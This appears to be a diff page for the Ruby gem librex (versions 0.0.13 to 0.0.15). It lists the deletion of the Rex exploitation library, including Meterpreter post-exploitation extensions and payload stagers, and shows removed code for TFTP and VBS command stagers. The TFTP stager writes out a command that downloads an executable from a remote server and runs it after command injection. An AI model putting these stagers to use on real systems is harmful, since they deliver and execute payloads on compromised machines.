librex 0.0.13 → 0.0.15
Sign up to get free protection for your applications and to get access to all the features.
- data/README.markdown +1 -1
- data/Rakefile +1 -0
- metadata +3 -435
- data/lib/rex/LICENSE +0 -29
- data/lib/rex/arch.rb +0 -103
- data/lib/rex/arch/sparc.rb +0 -75
- data/lib/rex/arch/sparc.rb.ut.rb +0 -18
- data/lib/rex/arch/x86.rb +0 -513
- data/lib/rex/arch/x86.rb.ut.rb +0 -93
- data/lib/rex/assembly/nasm.rb +0 -104
- data/lib/rex/assembly/nasm.rb.ut.rb +0 -22
- data/lib/rex/codepage.map +0 -104
- data/lib/rex/compat.rb +0 -311
- data/lib/rex/constants.rb +0 -113
- data/lib/rex/elfparsey.rb +0 -11
- data/lib/rex/elfparsey/elf.rb +0 -123
- data/lib/rex/elfparsey/elfbase.rb +0 -258
- data/lib/rex/elfparsey/exceptions.rb +0 -27
- data/lib/rex/elfscan.rb +0 -12
- data/lib/rex/elfscan/scanner.rb +0 -207
- data/lib/rex/elfscan/search.rb +0 -46
- data/lib/rex/encoder/alpha2.rb +0 -31
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +0 -68
- data/lib/rex/encoder/alpha2/alpha_upper.rb +0 -79
- data/lib/rex/encoder/alpha2/generic.rb +0 -114
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +0 -117
- data/lib/rex/encoder/alpha2/unicode_upper.rb +0 -129
- data/lib/rex/encoder/ndr.rb +0 -89
- data/lib/rex/encoder/ndr.rb.ut.rb +0 -44
- data/lib/rex/encoder/nonalpha.rb +0 -61
- data/lib/rex/encoder/nonupper.rb +0 -64
- data/lib/rex/encoder/xdr.rb +0 -106
- data/lib/rex/encoder/xdr.rb.ut.rb +0 -29
- data/lib/rex/encoder/xor.rb +0 -69
- data/lib/rex/encoder/xor/dword.rb +0 -13
- data/lib/rex/encoder/xor/dword_additive.rb +0 -13
- data/lib/rex/encoders/xor_dword.rb +0 -35
- data/lib/rex/encoders/xor_dword_additive.rb +0 -53
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +0 -12
- data/lib/rex/encoding/xor.rb +0 -20
- data/lib/rex/encoding/xor.rb.ts.rb +0 -14
- data/lib/rex/encoding/xor/byte.rb +0 -15
- data/lib/rex/encoding/xor/byte.rb.ut.rb +0 -21
- data/lib/rex/encoding/xor/dword.rb +0 -21
- data/lib/rex/encoding/xor/dword.rb.ut.rb +0 -15
- data/lib/rex/encoding/xor/dword_additive.rb +0 -92
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +0 -15
- data/lib/rex/encoding/xor/exceptions.rb +0 -17
- data/lib/rex/encoding/xor/generic.rb +0 -146
- data/lib/rex/encoding/xor/generic.rb.ut.rb +0 -120
- data/lib/rex/encoding/xor/qword.rb +0 -15
- data/lib/rex/encoding/xor/word.rb +0 -21
- data/lib/rex/encoding/xor/word.rb.ut.rb +0 -13
- data/lib/rex/exceptions.rb +0 -275
- data/lib/rex/exceptions.rb.ut.rb +0 -44
- data/lib/rex/exploitation/cmdstager.rb +0 -9
- data/lib/rex/exploitation/cmdstager/base.rb +0 -175
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +0 -142
- data/lib/rex/exploitation/cmdstager/debug_write.rb +0 -136
- data/lib/rex/exploitation/cmdstager/tftp.rb +0 -63
- data/lib/rex/exploitation/cmdstager/vbs.rb +0 -128
- data/lib/rex/exploitation/egghunter.rb +0 -277
- data/lib/rex/exploitation/egghunter.rb.ut.rb +0 -25
- data/lib/rex/exploitation/encryptjs.rb +0 -77
- data/lib/rex/exploitation/heaplib.js.b64 +0 -331
- data/lib/rex/exploitation/heaplib.rb +0 -94
- data/lib/rex/exploitation/javascriptosdetect.rb +0 -897
- data/lib/rex/exploitation/obfuscatejs.rb +0 -335
- data/lib/rex/exploitation/omelet.rb +0 -320
- data/lib/rex/exploitation/omelet.rb.ut.rb +0 -13
- data/lib/rex/exploitation/opcodedb.rb +0 -818
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -279
- data/lib/rex/exploitation/seh.rb +0 -92
- data/lib/rex/exploitation/seh.rb.ut.rb +0 -19
- data/lib/rex/file.rb +0 -112
- data/lib/rex/file.rb.ut.rb +0 -16
- data/lib/rex/image_source.rb +0 -12
- data/lib/rex/image_source/disk.rb +0 -60
- data/lib/rex/image_source/image_source.rb +0 -46
- data/lib/rex/image_source/memory.rb +0 -37
- data/lib/rex/io/bidirectional_pipe.rb +0 -157
- data/lib/rex/io/datagram_abstraction.rb +0 -35
- data/lib/rex/io/stream.rb +0 -319
- data/lib/rex/io/stream_abstraction.rb +0 -197
- data/lib/rex/io/stream_server.rb +0 -211
- data/lib/rex/job_container.rb +0 -187
- data/lib/rex/logging.rb +0 -4
- data/lib/rex/logging/log_dispatcher.rb +0 -179
- data/lib/rex/logging/log_sink.rb +0 -42
- data/lib/rex/logging/sinks/flatfile.rb +0 -55
- data/lib/rex/logging/sinks/stderr.rb +0 -43
- data/lib/rex/machparsey.rb +0 -9
- data/lib/rex/machparsey/exceptions.rb +0 -34
- data/lib/rex/machparsey/mach.rb +0 -209
- data/lib/rex/machparsey/machbase.rb +0 -408
- data/lib/rex/machscan.rb +0 -9
- data/lib/rex/machscan/scanner.rb +0 -217
- data/lib/rex/mime.rb +0 -9
- data/lib/rex/mime/header.rb +0 -77
- data/lib/rex/mime/message.rb +0 -144
- data/lib/rex/mime/part.rb +0 -20
- data/lib/rex/nop/opty2.rb +0 -108
- data/lib/rex/nop/opty2.rb.ut.rb +0 -23
- data/lib/rex/nop/opty2_tables.rb +0 -300
- data/lib/rex/ole.rb +0 -205
- data/lib/rex/ole/clsid.rb +0 -47
- data/lib/rex/ole/difat.rb +0 -141
- data/lib/rex/ole/directory.rb +0 -231
- data/lib/rex/ole/direntry.rb +0 -240
- data/lib/rex/ole/docs/dependencies.txt +0 -8
- data/lib/rex/ole/docs/references.txt +0 -1
- data/lib/rex/ole/fat.rb +0 -99
- data/lib/rex/ole/header.rb +0 -204
- data/lib/rex/ole/minifat.rb +0 -77
- data/lib/rex/ole/propset.rb +0 -144
- data/lib/rex/ole/samples/create_ole.rb +0 -27
- data/lib/rex/ole/samples/dir.rb +0 -35
- data/lib/rex/ole/samples/dump_stream.rb +0 -34
- data/lib/rex/ole/samples/ole_info.rb +0 -23
- data/lib/rex/ole/storage.rb +0 -395
- data/lib/rex/ole/stream.rb +0 -53
- data/lib/rex/ole/substorage.rb +0 -49
- data/lib/rex/ole/util.rb +0 -157
- data/lib/rex/parser/arguments.rb +0 -97
- data/lib/rex/parser/arguments.rb.ut.rb +0 -67
- data/lib/rex/parser/ini.rb +0 -185
- data/lib/rex/parser/ini.rb.ut.rb +0 -29
- data/lib/rex/parser/ip360_aspl_xml.rb +0 -102
- data/lib/rex/parser/ip360_xml.rb +0 -93
- data/lib/rex/parser/nessus_xml.rb +0 -118
- data/lib/rex/parser/netsparker_xml.rb +0 -94
- data/lib/rex/parser/nexpose_xml.rb +0 -131
- data/lib/rex/parser/nmap_xml.rb +0 -121
- data/lib/rex/parser/retina_xml.rb +0 -109
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/win32.rb +0 -2
- data/lib/rex/payloads/win32/common.rb +0 -26
- data/lib/rex/payloads/win32/kernel.rb +0 -53
- data/lib/rex/payloads/win32/kernel/common.rb +0 -54
- data/lib/rex/payloads/win32/kernel/migration.rb +0 -12
- data/lib/rex/payloads/win32/kernel/recovery.rb +0 -50
- data/lib/rex/payloads/win32/kernel/stager.rb +0 -194
- data/lib/rex/peparsey.rb +0 -12
- data/lib/rex/peparsey/exceptions.rb +0 -32
- data/lib/rex/peparsey/pe.rb +0 -212
- data/lib/rex/peparsey/pe_memdump.rb +0 -63
- data/lib/rex/peparsey/pebase.rb +0 -1680
- data/lib/rex/peparsey/section.rb +0 -136
- data/lib/rex/pescan.rb +0 -13
- data/lib/rex/pescan/analyze.rb +0 -309
- data/lib/rex/pescan/scanner.rb +0 -206
- data/lib/rex/pescan/search.rb +0 -56
- data/lib/rex/platforms.rb +0 -1
- data/lib/rex/platforms/windows.rb +0 -51
- data/lib/rex/poly.rb +0 -132
- data/lib/rex/poly/block.rb +0 -477
- data/lib/rex/poly/register.rb +0 -100
- data/lib/rex/poly/register/x86.rb +0 -40
- data/lib/rex/post.rb +0 -8
- data/lib/rex/post/dir.rb +0 -51
- data/lib/rex/post/file.rb +0 -172
- data/lib/rex/post/file_stat.rb +0 -220
- data/lib/rex/post/gen.pl +0 -13
- data/lib/rex/post/io.rb +0 -182
- data/lib/rex/post/meterpreter.rb +0 -4
- data/lib/rex/post/meterpreter/channel.rb +0 -445
- data/lib/rex/post/meterpreter/channel_container.rb +0 -54
- data/lib/rex/post/meterpreter/channels/pool.rb +0 -160
- data/lib/rex/post/meterpreter/channels/pools/file.rb +0 -62
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +0 -103
- data/lib/rex/post/meterpreter/channels/stream.rb +0 -87
- data/lib/rex/post/meterpreter/client.rb +0 -364
- data/lib/rex/post/meterpreter/client_core.rb +0 -274
- data/lib/rex/post/meterpreter/dependencies.rb +0 -3
- data/lib/rex/post/meterpreter/extension.rb +0 -32
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +0 -58
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +0 -16
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +0 -94
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +0 -21
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +0 -57
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +0 -15
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +0 -118
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +0 -61
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +0 -111
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +0 -28
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +0 -101
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +0 -26
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +0 -333
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +0 -282
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +0 -266
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +0 -103
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +0 -48
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +0 -144
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +0 -73
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +0 -56
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +0 -137
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +0 -180
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +0 -167
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +0 -208
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +0 -38106
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -31
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +0 -47
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -36
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +0 -1818
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +0 -96
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +0 -3848
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +0 -26
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +0 -153
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +0 -21
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +0 -3169
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +0 -599
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +0 -318
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +0 -100
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -42
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +0 -148
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -127
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +0 -309
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +0 -204
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +0 -51
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +0 -630
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +0 -75
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -103
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +0 -149
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +0 -97
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +0 -192
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +0 -41
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +0 -61
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +0 -370
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +0 -129
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +0 -55
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +0 -336
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +0 -141
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +0 -279
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +0 -193
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +0 -102
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +0 -180
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +0 -211
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +0 -227
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +0 -63
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +0 -30
- data/lib/rex/post/meterpreter/object_aliases.rb +0 -83
- data/lib/rex/post/meterpreter/packet.rb +0 -688
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +0 -431
- data/lib/rex/post/meterpreter/packet_parser.rb +0 -94
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +0 -83
- data/lib/rex/post/meterpreter/ui/console.rb +0 -137
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +0 -62
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +0 -730
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +0 -108
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +0 -241
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +0 -231
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +0 -61
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +0 -98
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +0 -51
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +0 -132
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +0 -187
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +0 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +0 -442
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +0 -298
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +0 -486
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +0 -315
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +0 -157
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +0 -95
- data/lib/rex/post/permission.rb +0 -26
- data/lib/rex/post/process.rb +0 -57
- data/lib/rex/post/thread.rb +0 -57
- data/lib/rex/post/ui.rb +0 -52
- data/lib/rex/proto.rb +0 -13
- data/lib/rex/proto.rb.ts.rb +0 -8
- data/lib/rex/proto/dcerpc.rb +0 -6
- data/lib/rex/proto/dcerpc.rb.ts.rb +0 -9
- data/lib/rex/proto/dcerpc/client.rb +0 -361
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -491
- data/lib/rex/proto/dcerpc/exceptions.rb +0 -150
- data/lib/rex/proto/dcerpc/handle.rb +0 -47
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -85
- data/lib/rex/proto/dcerpc/ndr.rb +0 -72
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -41
- data/lib/rex/proto/dcerpc/packet.rb +0 -253
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -56
- data/lib/rex/proto/dcerpc/response.rb +0 -187
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -15
- data/lib/rex/proto/dcerpc/uuid.rb +0 -84
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -46
- data/lib/rex/proto/dhcp.rb +0 -7
- data/lib/rex/proto/dhcp/constants.rb +0 -33
- data/lib/rex/proto/dhcp/server.rb +0 -292
- data/lib/rex/proto/drda.rb +0 -5
- data/lib/rex/proto/drda.rb.ts.rb +0 -17
- data/lib/rex/proto/drda/constants.rb +0 -49
- data/lib/rex/proto/drda/constants.rb.ut.rb +0 -23
- data/lib/rex/proto/drda/packet.rb +0 -252
- data/lib/rex/proto/drda/packet.rb.ut.rb +0 -109
- data/lib/rex/proto/drda/utils.rb +0 -123
- data/lib/rex/proto/drda/utils.rb.ut.rb +0 -84
- data/lib/rex/proto/http.rb +0 -5
- data/lib/rex/proto/http.rb.ts.rb +0 -12
- data/lib/rex/proto/http/client.rb +0 -821
- data/lib/rex/proto/http/client.rb.ut.rb +0 -95
- data/lib/rex/proto/http/handler.rb +0 -46
- data/lib/rex/proto/http/handler/erb.rb +0 -128
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -21
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
- data/lib/rex/proto/http/handler/proc.rb +0 -60
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -24
- data/lib/rex/proto/http/header.rb +0 -161
- data/lib/rex/proto/http/header.rb.ut.rb +0 -46
- data/lib/rex/proto/http/packet.rb +0 -407
- data/lib/rex/proto/http/packet.rb.ut.rb +0 -165
- data/lib/rex/proto/http/request.rb +0 -356
- data/lib/rex/proto/http/request.rb.ut.rb +0 -214
- data/lib/rex/proto/http/response.rb +0 -90
- data/lib/rex/proto/http/response.rb.ut.rb +0 -149
- data/lib/rex/proto/http/server.rb +0 -369
- data/lib/rex/proto/http/server.rb.ut.rb +0 -79
- data/lib/rex/proto/ntlm.rb +0 -7
- data/lib/rex/proto/ntlm.rb.ut.rb +0 -177
- data/lib/rex/proto/ntlm/base.rb +0 -326
- data/lib/rex/proto/ntlm/constants.rb +0 -74
- data/lib/rex/proto/ntlm/crypt.rb +0 -415
- data/lib/rex/proto/ntlm/exceptions.rb +0 -9
- data/lib/rex/proto/ntlm/message.rb +0 -533
- data/lib/rex/proto/ntlm/utils.rb +0 -763
- data/lib/rex/proto/proxy/socks4a.rb +0 -440
- data/lib/rex/proto/rfb.rb +0 -19
- data/lib/rex/proto/rfb.rb.ut.rb +0 -37
- data/lib/rex/proto/rfb/cipher.rb +0 -84
- data/lib/rex/proto/rfb/client.rb +0 -207
- data/lib/rex/proto/rfb/constants.rb +0 -52
- data/lib/rex/proto/smb.rb +0 -7
- data/lib/rex/proto/smb.rb.ts.rb +0 -8
- data/lib/rex/proto/smb/client.rb +0 -1952
- data/lib/rex/proto/smb/client.rb.ut.rb +0 -223
- data/lib/rex/proto/smb/constants.rb +0 -1047
- data/lib/rex/proto/smb/constants.rb.ut.rb +0 -18
- data/lib/rex/proto/smb/crypt.rb +0 -36
- data/lib/rex/proto/smb/evasions.rb +0 -66
- data/lib/rex/proto/smb/exceptions.rb +0 -858
- data/lib/rex/proto/smb/simpleclient.rb +0 -306
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -128
- data/lib/rex/proto/smb/utils.rb +0 -103
- data/lib/rex/proto/smb/utils.rb.ut.rb +0 -20
- data/lib/rex/proto/sunrpc.rb +0 -1
- data/lib/rex/proto/sunrpc/client.rb +0 -195
- data/lib/rex/proto/tftp.rb +0 -12
- data/lib/rex/proto/tftp/constants.rb +0 -39
- data/lib/rex/proto/tftp/server.rb +0 -497
- data/lib/rex/proto/tftp/server.rb.ut.rb +0 -28
- data/lib/rex/script.rb +0 -42
- data/lib/rex/script/base.rb +0 -59
- data/lib/rex/script/meterpreter.rb +0 -15
- data/lib/rex/script/shell.rb +0 -9
- data/lib/rex/service.rb +0 -48
- data/lib/rex/service_manager.rb +0 -141
- data/lib/rex/service_manager.rb.ut.rb +0 -32
- data/lib/rex/services/local_relay.rb +0 -423
- data/lib/rex/socket.rb +0 -684
- data/lib/rex/socket.rb.ut.rb +0 -107
- data/lib/rex/socket/comm.rb +0 -119
- data/lib/rex/socket/comm/local.rb +0 -412
- data/lib/rex/socket/comm/local.rb.ut.rb +0 -75
- data/lib/rex/socket/ip.rb +0 -130
- data/lib/rex/socket/parameters.rb +0 -345
- data/lib/rex/socket/parameters.rb.ut.rb +0 -51
- data/lib/rex/socket/range_walker.rb +0 -346
- data/lib/rex/socket/range_walker.rb.ut.rb +0 -55
- data/lib/rex/socket/ssl_tcp.rb +0 -184
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -39
- data/lib/rex/socket/ssl_tcp_server.rb +0 -122
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -61
- data/lib/rex/socket/subnet_walker.rb +0 -75
- data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -28
- data/lib/rex/socket/switch_board.rb +0 -278
- data/lib/rex/socket/switch_board.rb.ut.rb +0 -52
- data/lib/rex/socket/tcp.rb +0 -76
- data/lib/rex/socket/tcp.rb.ut.rb +0 -64
- data/lib/rex/socket/tcp_server.rb +0 -67
- data/lib/rex/socket/tcp_server.rb.ut.rb +0 -44
- data/lib/rex/socket/udp.rb +0 -164
- data/lib/rex/socket/udp.rb.ut.rb +0 -44
- data/lib/rex/struct2.rb +0 -5
- data/lib/rex/struct2/c_struct.rb +0 -181
- data/lib/rex/struct2/c_struct_template.rb +0 -39
- data/lib/rex/struct2/constant.rb +0 -26
- data/lib/rex/struct2/element.rb +0 -44
- data/lib/rex/struct2/generic.rb +0 -73
- data/lib/rex/struct2/restraint.rb +0 -54
- data/lib/rex/struct2/s_string.rb +0 -72
- data/lib/rex/struct2/s_struct.rb +0 -111
- data/lib/rex/sync.rb +0 -6
- data/lib/rex/sync/event.rb +0 -94
- data/lib/rex/sync/read_write_lock.rb +0 -176
- data/lib/rex/sync/ref.rb +0 -57
- data/lib/rex/sync/thread_safe.rb +0 -82
- data/lib/rex/test.rb +0 -35
- data/lib/rex/text.rb +0 -1149
- data/lib/rex/text.rb.ut.rb +0 -190
- data/lib/rex/thread_factory.rb +0 -42
- data/lib/rex/time.rb +0 -65
- data/lib/rex/transformer.rb +0 -115
- data/lib/rex/transformer.rb.ut.rb +0 -38
- data/lib/rex/ui.rb +0 -21
- data/lib/rex/ui/interactive.rb +0 -254
- data/lib/rex/ui/output.rb +0 -78
- data/lib/rex/ui/output/none.rb +0 -18
- data/lib/rex/ui/progress_tracker.rb +0 -96
- data/lib/rex/ui/subscriber.rb +0 -149
- data/lib/rex/ui/text/color.rb +0 -97
- data/lib/rex/ui/text/color.rb.ut.rb +0 -18
- data/lib/rex/ui/text/dispatcher_shell.rb +0 -467
- data/lib/rex/ui/text/input.rb +0 -117
- data/lib/rex/ui/text/input/buffer.rb +0 -75
- data/lib/rex/ui/text/input/readline.rb +0 -129
- data/lib/rex/ui/text/input/socket.rb +0 -95
- data/lib/rex/ui/text/input/stdio.rb +0 -45
- data/lib/rex/ui/text/irb_shell.rb +0 -57
- data/lib/rex/ui/text/output.rb +0 -80
- data/lib/rex/ui/text/output/buffer.rb +0 -61
- data/lib/rex/ui/text/output/file.rb +0 -43
- data/lib/rex/ui/text/output/socket.rb +0 -43
- data/lib/rex/ui/text/output/stdio.rb +0 -40
- data/lib/rex/ui/text/progress_tracker.rb +0 -56
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -34
- data/lib/rex/ui/text/shell.rb +0 -328
- data/lib/rex/ui/text/table.rb +0 -279
- data/lib/rex/ui/text/table.rb.ut.rb +0 -55
- data/lib/rex/zip.rb +0 -93
- data/lib/rex/zip/archive.rb +0 -184
- data/lib/rex/zip/blocks.rb +0 -182
- data/lib/rex/zip/entry.rb +0 -104
- data/lib/rex/zip/samples/comment.rb +0 -32
- data/lib/rex/zip/samples/mkwar.rb +0 -138
- data/lib/rex/zip/samples/mkzip.rb +0 -19
- data/lib/rex/zip/samples/recursive.rb +0 -58
@@ -1,63 +0,0 @@
|
|
1
|
-
##
|
2
|
-
# $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
|
3
|
-
##
|
4
|
-
|
5
|
-
require 'rex/text'
|
6
|
-
require 'rex/arch'
|
7
|
-
require 'msf/core/framework'
|
8
|
-
|
9
|
-
module Rex
|
10
|
-
module Exploitation
|
11
|
-
|
12
|
-
###
|
13
|
-
#
|
14
|
-
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
-
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
-
# be written to disk and executed.
|
17
|
-
#
|
18
|
-
# This particular version uses tftp.exe to download a binary from the specified
|
19
|
-
# server. The original file is preserve, not encoded at all, and so this version
|
20
|
-
# is significantly simpler than other methods.
|
21
|
-
#
|
22
|
-
# Requires: tftp.exe, outbound udp connectivity to a tftp server
|
23
|
-
#
|
24
|
-
# Written by Joshua J. Drake
|
25
|
-
#
|
26
|
-
###
|
27
|
-
|
28
|
-
class CmdStagerTFTP < CmdStagerBase
|
29
|
-
|
30
|
-
def initialize(exe)
|
31
|
-
super
|
32
|
-
|
33
|
-
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
|
34
|
-
end
|
35
|
-
|
36
|
-
|
37
|
-
#
|
38
|
-
# We override compress commands just to stick in a few extra commands
|
39
|
-
# last second..
|
40
|
-
#
|
41
|
-
def compress_commands(cmds, opts)
|
42
|
-
# Initiate the download
|
43
|
-
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
|
44
|
-
|
45
|
-
# Make it all happen
|
46
|
-
cmds << "start #{@tempdir + @payload_exe}"
|
47
|
-
|
48
|
-
# Clean up after unless requested not to..
|
49
|
-
if (not opts[:nodelete])
|
50
|
-
# XXX: We won't be able to delete the payload while it is running..
|
51
|
-
end
|
52
|
-
|
53
|
-
super
|
54
|
-
end
|
55
|
-
|
56
|
-
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
|
57
|
-
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
|
58
|
-
# the start command being issued separately so that it can ignore it :)
|
59
|
-
|
60
|
-
attr_reader :payload_exe
|
61
|
-
end
|
62
|
-
end
|
63
|
-
end
|
@@ -1,128 +0,0 @@
|
|
1
|
-
##
|
2
|
-
# $Id$
|
3
|
-
##
|
4
|
-
|
5
|
-
require 'rex/text'
|
6
|
-
require 'rex/arch'
|
7
|
-
require 'msf/core/framework'
|
8
|
-
|
9
|
-
module Rex
|
10
|
-
module Exploitation
|
11
|
-
|
12
|
-
###
|
13
|
-
#
|
14
|
-
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
-
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
-
# be written to disk and executed.
|
17
|
-
#
|
18
|
-
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
|
19
|
-
# created via echo >>, and decode it to the final binary.
|
20
|
-
#
|
21
|
-
# Requires: Windows Scripting
|
22
|
-
# Known Issue: errors with non-ascii-native systems
|
23
|
-
#
|
24
|
-
# Written by bannedit
|
25
|
-
#
|
26
|
-
###
|
27
|
-
|
28
|
-
class CmdStagerVBS < CmdStagerBase
|
29
|
-
|
30
|
-
def initialize(exe)
|
31
|
-
super
|
32
|
-
|
33
|
-
@var_decoder = Rex::Text.rand_text_alpha(5)
|
34
|
-
@var_encoded = Rex::Text.rand_text_alpha(5)
|
35
|
-
@var_decoded = Rex::Text.rand_text_alpha(5)
|
36
|
-
@decoder = nil # filled in later
|
37
|
-
end
|
38
|
-
|
39
|
-
|
40
|
-
#
|
41
|
-
# Override just to set the extra byte count
|
42
|
-
#
|
43
|
-
def generate_cmds(opts)
|
44
|
-
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
45
|
-
@cmd_start = "echo "
|
46
|
-
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
47
|
-
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
48
|
-
opts.merge!({ :extra => xtra_len })
|
